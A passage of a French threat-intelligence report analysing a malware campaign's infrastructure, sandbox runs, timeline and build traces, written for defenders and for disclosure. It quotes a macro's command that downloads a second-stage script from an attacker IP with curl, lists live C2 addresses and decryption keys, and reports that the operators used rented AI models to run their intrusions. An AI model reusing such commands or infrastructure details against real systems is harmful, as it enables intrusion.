Au relevé du 2026-10-22, quatre domaines sur sept résolvent vers des adresses Cloudflare (`system-strategy.org`, `iquickline.com`, `mcgrawney.com`, `cloud-update.live`). `driverupdate.app` et `stackpathcloud.com` n'ont aucun enregistrement A, et `bossprotect.com` résout vers `91.199.163.67` dans l'AS209272. L'origine reste masquée pour les domaines de C2 qui passent par Cloudflare. Le Meterpreter, lui, se connecte directement à `89.185.83.8` en forçant l'en-tête `Host: api.system-strategy.org`. L'hypothèse la plus simple est que cette adresse est l'origine que Cloudflare protège pour ce nom. Un indice va dans ce sens : l'index passif Shodan InternetDB associe le nom d'hôte `system-strategy.org` à `89.185.83.8` (ports 22, 443 et 4443, nginx 1.24.0, OpenSSH 9.6p1). Cela corrobore l'hypothèse sans la prouver, et seul Cloudflare peut la confirmer. VirusTotal ajoute que `89.185.83.8` présente un « Cloudflare Origin Certificate », émis seulement pour un serveur d'origine placé derrière Cloudflare : l'hypothèse devient un constat, le rattachement au compte restant à confirmer par Cloudflare.

### DNS passif et fichiers associés (VirusTotal)

J'ai interrogé l'API VirusTotal en lecture seule (palier gratuit, 4 requêtes par minute) le 2026-10-24 sur 14 noms de domaine et 11 adresses de la campagne, puis sur les adresses et pistes qui en sortent : résolutions passives, fichiers qui contactent la cible, sous-domaines, certificats TLS et empreintes JARM. Je n'ai rien soumis ni fait analyser, et l'infrastructure n'a pas été contactée. Le tableau des 68 fichiers vus hors du lot est dans `osint/vt_hors_lot.csv`.

**Antériorité de la boîte à outils.** Les fichiers hors lot qui contactent l'infrastructure remontent bien avant juillet :

| Compilation (UTC) | Fichier | Contacte | Constat |
|---|---|---|---|
| 2026-05-02 00:45 | `amuxjqr.exe` (`a4611b53`) | `api.system-strategy.org` (port 8443, `/api/v2/update`, chemins aléatoires) | 14 minutes après l'enregistrement du domaine (00:31:09) |
| 2026-05-15 13:41 à 23:40 | quatre chargeurs de 10 à 20 Ko (`f5c1f55f`, `d696b3e5`, `e3745f8e`, `d3878d54`) | `77.110.109.248` ; trois d'entre eux récupèrent `http://77.110.109.248:8443/agent_sc.enc` | chargeurs de shellcode (étiquettes DonutLoader, Rozena, shell inversé) |
| 2026-06-04 | `kmoe3biv.exe` (`0f5e5113`), `ot9z11cx.exe` (`89b1d204`) | `77.110.109.248` | chargeurs de 10 Ko |
| 2026-06-05 13:06 | `colorui.dll` (`5296679b`) | `https://89.185.83.8/<chemin aléatoire>/` et `api.system-strategy.org/api/v2/update` | première version du téléchargeur |
| 2025-03-07 (soumis le 2026-05-03) | `audio.exe` (`0147afa3`) | `cloud-update.live` | agent MeshAgent, outil d'administration à distance |

Le point d'accès `/api/v2/update`, le nom `agent_sc.enc` et le port 8443 précèdent donc le lot de plusieurs mois, et l'URL de rappel Meterpreter vers `89.185.83.8` existait dès le 2026-06-05, cinq semaines avant `Ghost_loader`. Le lot déposé le 2026-10-20 montre la partie la plus récente d'une activité en cours depuis au moins le 2026-05-02, ce qui est plus tôt que le « mi-juillet » de l'article.

**Résolutions passives.** `138.124.123.56` a servi 32 noms de `13rzip.ru` entre le 2026-08-27 et le 2026-10-17, soit plus que les 21 des journaux de transparence : deux marques tierces sont imitées (la seconde apparaît le 2026-10-12 avec trois noms, et six noms d'une même branche du premier jeu le 2026-10-17). Les noms d'hôte complets sont dans `iocs.csv`, ce sont des indicateurs ; je ne nomme pas les marques dans le texte. Aucune résolution n'est connue pour `89.185.83.8`, `141.98.83.180`, `138.124.113.210`, `45.227.254.43` et `.84`. `45.227.254.45` et `179.60.149.68` n'ont qu'une résolution vers des noms de services de DNS joker (`45.227.254.45.sslip.io` et `179-60-149-68.nip.io`, le 2026-10-20) pour lesquels les journaux de transparence n'ont aucun certificat. `77.110.109.248` n'a qu'une résolution (2025-07-04, un domaine tiers, probablement un ancien locataire). Les domaines sont derrière Cloudflare depuis août 2026, et leurs historiques plus anciens correspondent à d'anciens propriétaires, par exemple `system-strategy.org` sur `195.216.243.x` jusqu'en 2019. `bossprotect.com` résout vers `91.199.163.67` depuis le 2026-06-27. Le domaine `api-hcaptcha.com`, créé le 2026-03-20, a résolu vers la même adresse le jour de sa création et présente le même certificat, ce qui en fait la plus ancienne résolution connue liée à la campagne pour cette adresse (son bloc a été enregistré le 2026-02-19, et les noms antérieurs, de 2021 et 2025, sont ceux d'anciens locataires). Le nom imite un service de captcha : c'est compatible avec un leurre de fausse vérification, sans fichier associé, donc à titre d'hypothèse. Un exécutable de 2,2 Mo (`jr9hq1.exe`) contacte `91.199.163.67`, mais parmi 40 adresses dont des nœuds publics d'amorçage du réseau Tox : ce lien n'est pas retenu.

**Certificats et JARM.** `89.185.83.8` présente un certificat Cloudflare Origin (voir plus haut). Le hub `45.227.254.45` présente un certificat au nom de `trulitesupport.com` émis par une autorité du même nom, ce qui le relie au domaine du leurre client. `77.110.109.248` présente un certificat `microsoft.com`, `179.60.149.68` un certificat dont l'émetteur est `update.microsoft.com`, `141.98.83.180` un certificat `localhost` et `23.132.164.199` un certificat `*`, dont trois sont marqués auto-signés par VirusTotal. Les empreintes JARM sont identiques pour `89.185.83.8`, `141.98.83.180` et `77.110.109.248` (`2ad2ad0002ad2ad00042`), et pour `45.227.254.45` et `23.132.164.199` (`21d19d00021d21d00042`) : ce sont des piles courantes, qui n'identifient rien seules mais servent de pivot combinées au sujet du certificat. Des sous-domaines nouveaux ressortent : `update.system-strategy.org` (résolu vers Cloudflare le 2026-10-20), `api.driverupdate.app`, `mail.bossprotect.com`, `mail`, `mail2`, `store` et `demo` sous `mcgrawney.com`, et `cdn`, `ns1` à `ns3` et `postmaster` sous `iquickline.com`.

**Hébergement de `mondeikin.com`.** Le domaine a résolu vers sept adresses entre le 2026-07-15 et le 2026-10-20 (`64.89.160.3`, `64.89.161.147`, `95.141.41.25`, `46.151.182.21`, `196.251.121.133`, `196.251.121.243`, `23.132.164.199`), soit un changement tous les quinze jours environ. Ces adresses hébergent des dizaines de domaines d'hameçonnage bancaire et de faux sites, et 56 fichiers d'autres familles (documents piégés, ConnectWise, Formbook) les contactent : c'est un hébergement partagé par des acteurs sans rapport, et les deux scripts PowerShell `sleestak_payload_1.ps1` qui contactent `23.132.164.199` n'ont pas de lien avec la campagne. J'ai regardé une piste : `inc-group.org` (sous-domaines `backend` et `fs2`) apparaît sur deux de ces adresses en septembre et octobre. Le domaine a été enregistré le 2026-05-29 chez Key-Systems avec une autre paire de serveurs de noms Cloudflare que celle des domaines de la campagne et aucun fichier ne lui est associé : je le tiens pour une homonymie, sans élément contraire.

### Rapports Triage et captures réseau

Les 114 échantillons du lot ont tous au moins une exécution publique sur Triage (141 rapports au total, plus une exécution de `audio.exe`, l'agent MeshAgent hors lot vu plus haut). Je les ai lus avec l'API de mon compte, en lecture seule, et j'ai analysé hors ligne les captures réseau de onze échantillons, à raison de deux exécutions chacun (outil `tools/triage_pull.py` ; rapports et captures conservés hors paquet). Ce que j'en retiens :

- **Modèle Word.** La macro s'exécute dans le bac à sable : Word lance `cmd.exe /c curl.exe -sk -o %TEMP%\u.cmd http://45.227.254.45:8000/scripts/stage1.cmd`, exactement comme dans la macro statique, et le parent de `cmd.exe` est `wmiprvse.exe`, ce qui confirme la création du processus par WMI. Le hub ne répond pas : cinq paquets SYN en 15 secondes, aucun SYN-ACK. `stage1.cmd` reste donc hors d'atteinte.
- **Cradle PowerShell.** La requête `GET /api/v2/update` part, mais aucune charge exploitable n'est reçue : les régions mémoire extraites sont des bibliothèques légitimes (`System.Numerics`). Le script compile par `csc.exe` une classe C# `AB` qui importe des fonctions de `kernel32`, ce qui confirme le comportement décrit au §3.
- **Chargeurs et injecteurs RevSocks de juillet.** Dans la première machine d'essai (TLS 1.2), le client ferme la connexion après avoir reçu le certificat du serveur (158 octets envoyés, soit son seul message d'ouverture), ce qui est compatible avec un rejet du certificat auto-signé. Dans la seconde (TLS 1.3), le client n'envoie rien après le premier message du serveur (417 octets envoyés, soit son seul message d'ouverture) et abandonne de la même façon. Aucun octet de `agent.enc` ni de `agent_sc.enc` n'a donc circulé dans ces exécutions, ce qui ferme la piste des charges par Triage.
- **Agent v4 `90fe2b57`.** Il termine la poignée de main TLS avec `141.98.83.180` en acceptant le certificat auto-signé, mais le serveur n'envoie jamais le défi de 32 octets pendant les 150 secondes de l'exécution : le service de tunnel ne répondait pas à ce moment.
- **Certificats des serveurs RevSocks.** Lus dans les poignées de main en clair : `77.110.109.248` présente un certificat RSA 2048 auto-signé `CN=microsoft.com`, valide du 2026-06-04 05:52:37 au 2036-06-01 (empreinte SHA-256 `004cc505...a995e3`), créé le jour de la compilation de deux chargeurs TLS (08:44 et 11:15), alors que les chargeurs du 2026-05-15 récupéraient encore leur charge en HTTP clair sur le port 8443, ce qui situe le passage au TLS début juin ; `141.98.83.180` présente un certificat RSA 2048 auto-signé `CN=localhost`, valide du 2026-09-14 08:13:37 au 2036-09-11 (empreinte `bf9d9790...e01b1`), huit jours avant la compilation des injecteurs de septembre. Les dates de début de validité datent la mise en service de chaque serveur.
- **Ghost HTTPS (`G6B77FE12`).** Un `POST` sur `/api/v3/be13a10b476f` puis cinq sur un second chemin, `/api/v3/5347872286bc`, que le décodage statique n'avait pas relevé (probablement le chemin de récupération des tâches ou d'envoi des résultats).
- **Ghost Telegram.** Les deux générations envoient un `sendMessage` puis interrogent `getUpdates` quatre ou cinq fois. Triage affiche l'URL complète, jeton du bot compris, dans ses rapports publics : les jetons des deux bots (identifiants `8942393139` et `8986910514`, identiques à ceux décodés par émulation) sont donc lisibles par n'importe qui sur le site. Je les ai masqués dans mes copies. Le signalement à Telegram en devient plus urgent : des tiers ont pu s'en servir.
- **Agent Athena (QuickLine).** Les requêtes `GET /index?q=...` portent en base64 l'identifiant de charge `1b1270ff-...` suivi d'un message chiffré, ce qui confirme le profil HTTP et l'identifiant relevés statiquement.
- **`mcp-agent`.** Quarante-trois et quarante-cinq connexions TLS 1.3 vers `138.124.123.56:8443` en deux exécutions : le certificat n'est pas visible en TLS 1.3.
- **`Ghost_loader`.** 372 et 301 connexions vers `89.185.83.8` (2 170 et 1 780 requêtes `GET`), toutes en réponse `502` : cohérent avec ce qui précède.

### Pistes sans résultat

- **GitHub.** Une recherche de code en lecture seule (20 requêtes, journal dans `osint/github_search.md`) ne trouve aucun dépôt de l'opérateur : les chaînes spécifiques (`13rzip.ru`, `chacha20_tunnel_v3_`, `rks3/cmd/agent`, mutex, chemin de compilation de rks3) donnent zéro résultat. Les adresses et domaines ne ressortent que dans des listes de blocage de défenseurs, dont une liste publique qui indique des ports supplémentaires, repris dans `iocs.csv`. Le chemin `runneradmin` n'identifie aucun dépôt : seul GitHub peut relier un exécuteur à un compte.
- **Telegram.** Sans appel à l'API, seuls les identifiants numériques des deux bots (`8942393139` et `8986910514`) et celui de la conversation commune (`8809711703`) sont connus. Les résoudre en nom d'utilisateur exige d'utiliser le jeton, ce qui est de l'accès non autorisé. Le signalement à Telegram est la voie prévue.
- **Pivots par imphash et TLSH.** Les imphashs de la campagne sont génériques (Go, Rust, MinGW) et ne ramènent que des logiciels voleurs d'identifiants sans rapport. L'interrogation de MalwareBazaar par TLSH des 114 fichiers (correspondance exacte seulement, l'API n'offre pas de recherche de similarité) ne retourne aucun fichier hors du lot. Aucun échantillon supplémentaire n'en sort.
- **Charges `agent.enc`, `agent_sc.enc`, `stage1.cmd` et réponse de `/api/v2/update`.** Même avec l'accès complet aux rapports et aux captures Triage, aucune de ces charges n'a circulé pendant les exécutions publiques (certificat apparemment rejeté par le client, serveur muet ou injoignable). Leur contenu reste inconnu.
- **Pivots par contenu de page.** Une recherche urlscan.io sur le titre de la fausse page « StackPath - Edge Services » ne retourne que les trois scans de `system-strategy.org` (deux adresses Cloudflare), et celle sur le titre « Sign in Payroll Portal » que les deux sous-domaines de `13rzip.ru` déjà connus. Aucun domaine frère n'en sort. Les résultats détaillés (empreinte du corps de la page) exigent un compte.
- **ThreatFox et URLhaus.** Aucune entrée pour `89.185.83.8`, `138.124.123.56`, `91.199.163.67` ni `api.system-strategy.org`.

### Hameçonnage sur l'adresse du C2 Phantom

Deux scans urlscan.io du 2026-10-19 montrent des pages de connexion Microsoft factices (titre « Sign in Payroll Portal ») servies par `138.124.123.56`, l'adresse du C2 `mcp-agent`, sous des sous-domaines de `13rzip.ru`. Ce domaine est enregistré depuis le 2026-08-26 chez FE-RU (registre `.ru`), avec les serveurs de noms d'Aeza. Les journaux de transparence listent 39 certificats distincts (66 entrées de journal) Let's Encrypt émis du 2026-08-27 au 2026-10-08 pour 21 noms, au relevé du 2026-10-23, dont des imitations de services Microsoft (par exemple un nom `autologon.microsoft.onedrive`). Les noms testés résolvent vers la même adresse. Sur les 21 noms, 15 sont construits sur la marque d'une organisation tierce, 4 imitent Microsoft OneDrive et 2 sont à la racine du domaine ; le DNS passif de VirusTotal ajoute 11 noms et une seconde marque imitée (voir plus haut). Je ne nomme pas ces organisations dans le texte, mais les noms d'hôte complets sont dans `iocs.csv` : ce sont les indicateurs à bloquer, les tronquer les rendrait inutiles. Le lien avec la campagne repose sur l'adresse commune seule (confiance moyenne) : une IP peut changer de locataire. L'enregistrement du domaine, le 2026-08-26, tombe dans la période de développement de la boîte à outils (builds datés de juillet à septembre 2026). Les réponses urlscan ne sont pas archivées à l'état brut, seule leur transcription figure dans `osint/pivots_log.md`. Signalements pertinents : NetCrafters pour l'adresse, le registrar du domaine `.ru`, Microsoft pour l'usage de sa marque.

### Couverture publique par ThreatFox

Le rapporteur SOCRadarSTRU a saisi le 2026-10-20 les 114 hachages du lot, huit domaines et plusieurs adresses onion. Les adresses IP de la campagne n'y figurent pas, hormis `77.110.109.248:443` ajoutée le 2026-10-21 par abuse.ch. La soumission préparée se limite donc aux IP absentes et à deux sous-domaines. ThreatFox contient aussi des indicateurs que ce dossier n'avait pas relevés, repris dans `iocs.csv` : trois adresses onion INC, `karabas.corp`, `chat.mondeikin.com` et `ghost-relay.stk-cdn-07.workers.dev`, tous saisis le 2026-10-20 comme serveurs de commande sans famille associée.

J'ai examiné ces trois derniers passivement. `chat.mondeikin.com` dépend de `mondeikin.com`, enregistré le 2026-07-15 à 18:34 UTC chez NiceNIC (le registraire de `bossprotect.com`, ce qui est un indice faible vu sa taille), avec les serveurs de noms `NS1.ERANS.RU` et `NS2.ERANS.RU` et un certificat joker Let's Encrypt émis le jour même, 55 minutes avant l'horodatage d'enregistrement du RDAP (inscription antérieure ou décalage du registre, non tranché). Au 2026-10-24 le domaine résout vers `23.132.164.199`, dans un bloc TENGIG-NET (Netiface America, AS401626, hébergeur 10GIG.HOST à Zurich) enregistré le 2026-09-12, soit près de deux mois après le domaine : l'adresse actuelle n'est donc pas l'hébergement d'origine. Cette adresse porte aussi plusieurs domaines au profil d'hameçonnage ou de télémétrie d'après urlscan.io, ce qui évoque un hébergement partagé sans lien établi avec la campagne. `ghost-relay.stk-cdn-07.workers.dev` est un sous-domaine Cloudflare Workers dont le certificat joker `*.stk-cdn-07.workers.dev` date du 2026-08-02 ; il résout encore vers des adresses Cloudflare, mais le certificat joker masque les autres sous-domaines et seul Cloudflare peut relier le compte à une identité. `karabas.corp` utilise un suffixe `.corp` qui n'est pas délégué : le nom ne se résout pas publiquement et n'a aucun certificat, c'est vraisemblablement un nom interne ou de laboratoire.

### Un encrypteur ESXi antérieur au lot

MalwareBazaar contient `86d04474459f2b0df01eb59e37e26a0c5eff5c48b359fb662bf0ea513f0f7d13`, un ELF ESXi de 870 920 octets, vu pour la première fois le 2026-09-18. Je l'ai téléchargé et comparé à un build ESXi du lot : 67 octets diffèrent, soit une clé publique X25519 (`9vrlSsDq1UH/iezZh/nkgSBQjKSqcwWmZpY1lMI1DDw=`) et un champ identifiant rempli de 24 caractères `X` (placeholder ou anonymisation par le déposant, le nom du fichier contenant « REDACTED »). Cette clé n'appartient à aucun des trois lots : c'est une victime ou un essai distinct, antérieur de douze jours. D'autres kits ESXi INC du même nom circulent depuis 2025-08-05, ce qui date le modèle ESXi d'au moins un an avant la campagne. Les 54 autres hachages étiquetés INC sont traités dans l'historique du §8.

### Hébergement et leviers d'identification

| Système autonome | Titulaire | Adresses de la campagne | Contact abuse |
|---|---|---|---|
| AS209272 | Alviva Holding (Digi Cloud) | `89.185.83.8`, `179.60.149.68`, `91.199.163.67` | `abuse@digi-cloud.net`, `noc@fineisp.net` |
| AS203273 | NetCrafters OU | `77.110.109.248`, `138.124.123.56` | `abuse@netcrafters.host` |
| AS267784 | Flyservers S.A. (contact RDAP d'XWIN) | `45.227.254.43`, `.45`, `.84` | `info@xwinnet.biz` |
| AS209588 | Flyservers S.A. (bloc GLOBALHOST-NET) | `141.98.83.180` | `abuse@global-host.net` |
| AS210644 | Aeza Group | `138.124.113.210` | `abuse@aeza.ru` |

Shodan InternetDB signale sur plusieurs de ces adresses des services d'administration exposés et sur `77.110.109.248` un répertoire ouvert sur le port 8080. Je n'ai pas visité ce répertoire et je ne retiens pas les listes de vulnérabilités déduites de bannières. Pour `141.98.83.180`, une recherche urlscan.io sur la fenêtre des 30 derniers jours ne retourne aucun résultat et ni ThreatFox ni URLhaus n'ont d'entrée (la Wayback Machine était hors ligne au moment du contrôle). L'adresse n'était pas pour autant inconnue : AlienVault OTX la liste dans une liste de blocage créée le 2025-01-23 et dans une liste de force brute SSH et RDP issue d'un honeypot créée le 2026-06-28, soit avant son usage par RevSocks. L'origine de ces signalements (ancien locataire de l'adresse ou même opérateur) n'est pas établie. Les analyses publiques de Triage du 2026-10-20 montrent les injecteurs de septembre et l'agent v4 `90fe2b57` ouvrant une session TLS vers cette adresse sur le port 443, ce qui corrobore l'adresse extraite du XOR `0xcb`. La même source montre `Ghost_loader` envoyant plus de 2 000 requêtes `GET` en 150 secondes vers `89.185.83.8` avec l'en-tête `Host: api.system-strategy.org` : chacune reçoit une réponse `502` de 568 octets du frontal `nginx/1.24.0 (Ubuntu)`, ce qui indique que le service en amont était indisponible à ce moment. Les empreintes JA3S des deux serveurs sont identiques mais correspondent à une pile nginx courante, donc sans valeur d'identification. Les tiers qui détiennent de quoi identifier l'opérateur sont Telegram (compte `8809711703`), Cloudflare (compte DNS et registrar), les cinq hébergeurs, DigiCert (demandes d'horodatage des certificats SysTool), FE-RU et les registrars. Sans résultat : aucune mention publique des identifiants Telegram, aucune recherche inverse publique par serveur de noms Cloudflare, aucun dépôt GitHub lié (recherche de code en lecture seule, voir Pistes sans résultat), aucune entrée URLhaus, des empreintes de fichiers génériques.

### Contexte public

L'article de SOCRadar, repris par la presse spécialisée, décrit une partie que les échantillons ne montrent pas : les opérateurs pilotaient leurs intrusions depuis OpenCode avec des modèles loués via OpenRouter, sous les identifiants `anthropic/claude-opus-4.6` et `moonshotai/kimi-k3`, soit 8 257 messages sur 133 sessions d'après les journaux retrouvés sur leurs serveurs. Je n'ai pas eu accès à ces journaux, ce point vient de l'article seul. Il justifie la présence des fournisseurs de modèles et de la passerelle parmi les destinataires de la divulgation (§17). Le nom « Phantom » est aussi un alias de l'ensemble de rançongiciel Ghost décrit dans un avis CISA, FBI et MS-ISAC ; ici « Ghost » et « Phantom » ne sont que des noms de familles d'outils tirés des noms de fichiers du dépôt, et ne doivent pas être confondus avec lui.

## 11. Chronologie

| Date (UTC) | Événement | Source |
|---|---|---|
| 2023-06-15 | Compilation de `Ghost_AetherPulse.dll` | PE |
| 2024-04-22 | Plus ancien identifiant horodaté de la lignée de kits INC, Lynx et Sinobi relevée | identifiants |
| 2024-09-16 | Compilation de l'hôte monofichier de QuickLine (la charge est plus récente) | PE |
| 2024-12-04 | Blocs `138.124.113.0/24` et `138.124.123.0/24` enregistrés | RDAP |
| 2025-02-11 | Bloc `77.110.109.0/24` enregistré | RDAP |
| 2025-08-14 | Compilation du modèle d'encrypteur INC | PE |
| 2026-01-17 | Dernier snapshot du site légitime d'origine de `system-strategy.org` | Wayback |
| 2026-03-20 | Création de `api-hcaptcha.com`, hébergé sur `91.199.163.67` | VirusTotal |
| 2026-04-03 | Publication de `metasploit-payloads` 2.0.245 | rubygems |
| 2026-04-17 à 05-02 | Enregistrement de `cloud-update.live`, `driverupdate.app`, `stackpathcloud.com`, `system-strategy.org` | RDAP |
| 2026-05-02 00:45 | Compilation du plus ancien implant relié, 14 minutes après l'enregistrement de `system-strategy.org` | VirusTotal |
| 2026-05-15 | Quatre chargeurs de shellcode vers `77.110.109.248:8443` | VirusTotal |
| 2026-06-04 05:52 | Création du certificat auto-signé du serveur `77.110.109.248` (passage du HTTP clair au TLS) | Triage, capture réseau |
| 2026-06-05 | Première version du téléchargeur `colorui.dll` vers `89.185.83.8` | VirusTotal |
| 2026-06-24 | Enregistrement de `bossprotect.com` | RDAP |
| 2026-06-26 | Compilation de `zloader`, `pnloader`, exploits locaux | PE |
| 2026-07-08 à 07-09 | `Ghost_agent`, `Ghost_loader`, `Ghost_colorui5` | PE |
| 2026-07-11 à 07-23 | Trois générations d'implants Ghost | PE |
| 2026-07-15 | Enregistrement de `mondeikin.com` (domaine de `chat.mondeikin.com`) | RDAP |
| 2026-07-19 | Premiers builds RevSocks | PE |
| 2026-07-27 à 07-30 | Agents Phantom compilés avec MSVC | PE |
| 2026-08-03 | Compilation du septième encrypteur INC Windows (clé `5047zB79...`) | PE |
| 2026-08-07 | Enregistrement de `iquickline.com` et `mcgrawney.com` | RDAP |
| 2026-08-26 | Enregistrement de `13rzip.ru` | RDAP |
| 2026-08-30 | Compilation de `quickheal-killer2` | PE |
| 2026-09-01 | Création des deux modèles Word | métadonnées |
| 2026-09-14 08:13 | Création du certificat auto-signé du serveur `141.98.83.180` (début de validité) | Triage, capture réseau |
| 2026-09-18 | Premier dépôt sur MalwareBazaar d'un ESXi INC antérieur au lot | MalwareBazaar |
| 2026-09-22 | Derniers builds RevSocks | PE |
| 2026-09-30 06:00 à 06:52 | Fabrication des six encrypteurs INC Windows | identifiants |
| 2026-10-08 | Fausse page « StackPath - Edge Services » sur `system-strategy.org` | Wayback |
| 2026-10-20 12:11 à 12:24 | Dépôt des 114 échantillons sur MalwareBazaar | MalwareBazaar |

## 12. Recoupements entre familles

| Technique | Ghost_loader | Implants Ghost | Colorui5 | RevSocks injecteurs | Cradle PowerShell |
|---|---|---|---|---|---|
| Patch ETW `48 33 C0 C3` | oui | non | oui | oui | annoncé, non implémenté |
| Exécution par `EnumDesktopWindows` | oui | non | non | non | décrit en en-tête |
| Blob de clé AES `0x661000000208` | oui | oui | oui | non | non |
| Restauration de `ntdll` depuis le disque | oui | non | non | non | non |
| Contrôle de saut de `Sleep` | oui | oui (G6B77) | non | oui (constantes différentes) | non |
| Secret avec la donnée | oui | oui | non évalué | oui | oui |

Le blob de clé CryptoAPI de même disposition en mémoire, le patch ETW identique et le contrôle de `Sleep` reviennent dans plusieurs familles compilées avec la même chaîne MinGW. Avec l'infrastructure partagée (§9) et le domaine `api.system-strategy.org` commun à tous, cela établit une boîte à outils commune, pas une identité de personnes. Je n'attribue l'activité à aucun acteur nommé.

### Indices de chaîne de compilation

Les métadonnées des 64 exécutables Windows sont dans `osint/attribution_metadata.csv`. Les versions de l'éditeur de liens MinGW distinguent plusieurs environnements de compilation : 2.41 pour 26 fichiers (RevSocks et Ghost, du 2026-07-08 au 2026-09-22), 2.45 pour 8 fichiers (surtout Phantom, du 2026-06-26 au 2026-08-30), 2.35 pour les six encrypteurs INC compilés le 2025-08-14 et 2.25 pour le septième encrypteur. Les agents MSVC de fin juillet utilisent l'éditeur 14.51. Les binaires Go n'ont pas d'horodatage PE exploitable. Aucune langue de ressource ne donne d'indice géographique, et la plupart des fichiers n'ont ni ressource ni en-tête Rich. Ces constats montrent plusieurs machines ou images de build, ils n'identifient personne. Les 47 horodatages PE exploitables se répartissent sur 20 jours distincts entre 2023-06-15 et 2026-09-22, sans fuseau horaire qui ressorte : 25 sont entre 12:00 et 15:59 UTC, mais d'autres tombent à 03:00, entre 07:00 et 08:59 et entre 19:00 et 20:59, et dix sont un dimanche. Les versions de Go vont de 1.22.4 à 1.26.5 selon l'outil. Seuls trois binaires Go (les trois `rks3`, même révision `125a84a1d3` du 2026-07-06 07:31:05 UTC, arbre modifié) et `restic` (révision amont du 2026-06-26 20:33:38 UTC, arbre modifié) portent une information de contrôle de version ; les autres ont été compilés sans. Ces horodatages ne permettent pas de déduire les heures de travail d'une personne.

## 13. Faiblesses exploitables par les défenseurs

1. **Clé avec la donnée, quatre fois.** Meterpreter (clé dans `.data`), cradle (48 octets de préfixe), RevSocks (XOR constant ou en `.data`), Ghost (clé de build dans `.rdata`). Une seule capture suffit pour retrouver la charge suivante.
2. **Configuration C2 récupérable statiquement.** Le chargeur Meterpreter et les générations Ghost se déchiffrent hors ligne, ce qui permet d'extraire les indicateurs d'un nouveau build sans l'exécuter, avec les outils fournis.
3. **Identifiants Telegram intégrés.** Le jeton et la conversation d'un build sont dans le binaire. Un signalement à Telegram coupe le canal de tous les exemplaires du même build.
4. **Faux certificats auto-signés.** Les certificats `CN=Microsoft Corporation` ont un sujet égal à l'émetteur, sans pays ni localité, et une validité d'un an exactement à partir de l'horodatage de compilation. La règle `FakeMicrosoft_SelfSigned_Authenticode` les détecte. Les certificats « SysTool Software Ltd. » sont d'une autre nature : pays `GB`, ville `London`, validité du 2026-06-25 au 2036-06-22, avec un contre-seing d'horodatage DigiCert daté du 2026-06-27 06:14:17 UTC pour l'un et du 2026-07-06 08:12:59 UTC pour d'autres. Ces dates viennent d'un tiers et DigiCert détient la trace des demandes.
5. **Récurrence d'un même en-tête `Host` et d'un même chemin.** Utile en détection réseau (§15).
6. **Traces de fabrication.** Chemin `runneradmin`, marqueur dans `WER\ReportQueue`, jeton `6599207047...` constant sur quatre variantes.

## 14. Portée et limites

**Établi par décompilation, émulation ou lecture directe :** la macro, le cradle PowerShell, le beacon Python, le chargeur Meterpreter et son payload, la configuration des trois générations Ghost, la logique des seize builds RevSocks (quatre chargeurs et injecteurs de juillet, dix agents de tunnel, deux injecteurs de septembre), les chaînes masquées de `Ghost_dloader` et `Ghost_dump_ppl` (dont l'identité du pilote BYOVD : Dell DBUtil_2_3.sys, CVE-2021-21551, embarqué dans le binaire), le chargeur `Ghost_OneDriveSync`, les outils Go d'exfiltration, les modifications entre builds INC et leur date de fabrication, la clé publique et la note de rançon des 39 encrypteurs ELF, les métadonnées Go et les certificats de signature, ainsi que le rôle des outils Phantom listés au §7. Le protocole de la version 4 des agents RevSocks (hors points listés ci-dessous), les paramètres de chiffrement par fichier des encrypteurs INC ELF et le ciblage de Lynx sont établis par décompilation et émulation. Les rôles du moniteur d'impression, des contournements UAC et des exploits locaux sont établis par lecture du code. Je n'ai exécuté aucun exploit.

**Établi par OSINT passif :** détenteurs de blocs, dates d'enregistrement, serveurs de noms, historiques de certificats, couverture abuse.ch, DNS passif et fichiers contactant l'infrastructure (VirusTotal, palier gratuit : les listes sont tronquées à 20 ou 40 éléments par requête et reflètent ce que VirusTotal a vu, pas l'exhaustivité).

**Établi par extraction statique de la couche Donut de `Ghost_OneDriveSync` :** instance déchiffrée hors ligne, module EXE x64 extrait, rôle d'implant Ghost de troisième génération établi par l'identifiant de build, la configuration Telegram identique à celle de l'implant du lot, l'API Telegram, le faux certificat et la détection par deux règles existantes.

**Établi par corrélation avec des bacs à sable publics** (MalwareBazaar, Triage, Hybrid Analysis, VMRay, Intezer, CAPE) : `Ghost_loader` est identifié comme `Meterpreter` / `Metasploit Framework` (CAPE, Intezer, VMRay). `Ghost_OneDriveSync` est identifié comme `DonutLoader` (Triage score 10, VMRay). Les injecteurs RevSocks de septembre (`d4ae978d`, `8bba4738`) et l'agent v4 `90fe2b57` ne déclenchent qu'un score 3 dans Triage (tag `discovery` uniquement) : leurs contrôles anti-bac à sable (délai, vérification RAM et CPU, `SbieDll.dll`) ont évité la détection comportementale dans les environnements sans configuration manuelle, et les captures réseau montrent en plus que les chargeurs ont rejeté le certificat auto-signé du serveur avant tout transfert (§10). ANY.RUN ne signale aucune menace non plus, sans doute pour les mêmes raisons. ReversingLabs donne 4/24 détections AV pour l'injecteur explorer et 12/24 pour `Ghost_OneDriveSync`.

**Non établi :** le déclencheur et la finalité de la copie suivie d'un effacement dans `Ghost_AetherPulse.dll` (son rôle exact et son rattachement à la campagne), le contenu de `stage1.cmd` (absent du lot), le fonctionnement de l'« exploit » `CVE-2025-62215` au-delà d'une course de handles sans primitive noyau démontrée, la confirmation au désassemblage de la disposition du trailer du chiffreur Lynx, la destination exacte de l'envoi HTTP de `Ghost_dump_ppl` (passée en argument à l'exécution, pas intégrée dans le binaire) et, pour la version 4 des agents RevSocks, le côté serveur et le contenu exact de la réponse au ping (l'agent accepte le certificat auto-signé du serveur d'après la capture Triage). L'usage de DNS comme troisième canal Ghost annoncé par l'article n'a pas été observé dans les échantillons examinés. L'attribution à INC ou Gentlemen repose sur l'article et sur les étiquettes du rapporteur.

Je n'ai envoyé aucune requête aux serveurs de l'opérateur. Le contenu actuel de `agent.enc`, de la réponse `/api/v2/update` et de l'API Telegram n'est donc pas connu. J'ai lu l'article le 2026-10-24, dans sa version mise à jour du 2026-10-23. Les neuf hashs INC qu'il cite sont tous dans le lot, rattachés aux lots décrits au §8, et les rôles qu'il donne aux adresses et aux domaines concordent avec ce que les échantillons montrent. Il ne mentionne ni Meterpreter, ni `138.124.123.56`, ni `141.98.83.180` : ces trois éléments sortent de l'analyse des fichiers.

**Politique de publication :** les clés et secrets propres aux logiciels malveillants (XOR, secret ChaCha20, clés de chiffrement des chargeurs) sont reproduits parce qu'ils permettent de déchiffrer des captures ; les identifiants d'accès de l'opérateur (jetons des bots Telegram, clé AES de l'agent Athena) ne sont écrits dans aucun fichier, public ou restreint, et se recouvrent au besoin par les outils fournis ; les noms de tiers et les données personnelles sont consignés dans le dossier restreint.

## 15. Détection

